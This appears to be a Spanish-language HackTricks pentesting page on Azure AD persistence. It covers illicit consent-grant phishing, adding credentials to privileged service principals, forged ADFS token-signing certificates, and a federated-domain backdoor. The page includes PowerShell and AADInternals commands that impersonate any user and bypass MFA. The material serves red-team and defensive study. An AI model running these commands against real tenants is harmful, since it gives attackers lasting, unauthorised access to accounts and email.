Az - Persistence

Support HackTricks

Concesión Ilícita de Consentimiento

Por defecto, cualquier usuario puede registrar una aplicación en Azure AD. Así que puedes registrar una aplicación (solo para el inquilino objetivo) que necesita permisos de alto impacto con consentimiento de administrador (y aprobarlo si eres el administrador) - como enviar correos en nombre de un usuario, gestión de roles, etc. Esto nos permitirá ejecutar ataques de phishing que serían muy fructíferos en caso de éxito.

Además, también podrías aceptar esa aplicación con tu usuario como una forma de mantener el acceso sobre ella.

Aplicaciones y Principales de Servicio

Con privilegios de Administrador de Aplicaciones, GA o un rol personalizado con permisos microsoft.directory/applications/credentials/update, podemos agregar credenciales (secreto o certificado) a una aplicación existente.

Es posible dirigir una aplicación con altos permisos o agregar una nueva aplicación con altos permisos.

Un rol interesante para agregar a la aplicación sería el rol de administrador de autenticación privilegiada, ya que permite restablecer la contraseña de los Administradores Globales.

Esta técnica también permite eludir MFA.

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • Para la autenticación basada en certificados

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

Federación - Certificado de Firma de Token

Con privilegios de DA en AD local, es posible crear e importar nuevos certificados de firma de token y certificados de descifrado de token que tienen una validez muy larga. Esto nos permitirá iniciar sesión como cualquier usuario cuyo ImuutableID conozcamos.

Ejecuta el siguiente comando como DA en el/los servidor(es) ADFS para crear nuevos certificados (contraseña predeterminada 'AADInternals'), agregarlos a ADFS, deshabilitar la rotación automática y reiniciar el servicio:

New-AADIntADFSSelfSignedCertificates

Luego, actualiza la información del certificado con Azure AD:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

Federación - Dominio de Confianza

Con privilegios de GA en un inquilino, es posible agregar un nuevo dominio (debe ser verificado), configurar su tipo de autenticación como Federado y configurar el dominio para confiar en un certificado específico (any.sts en el comando a continuación) y emisor:

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

Referencias

Apoya a HackTricks

Last updated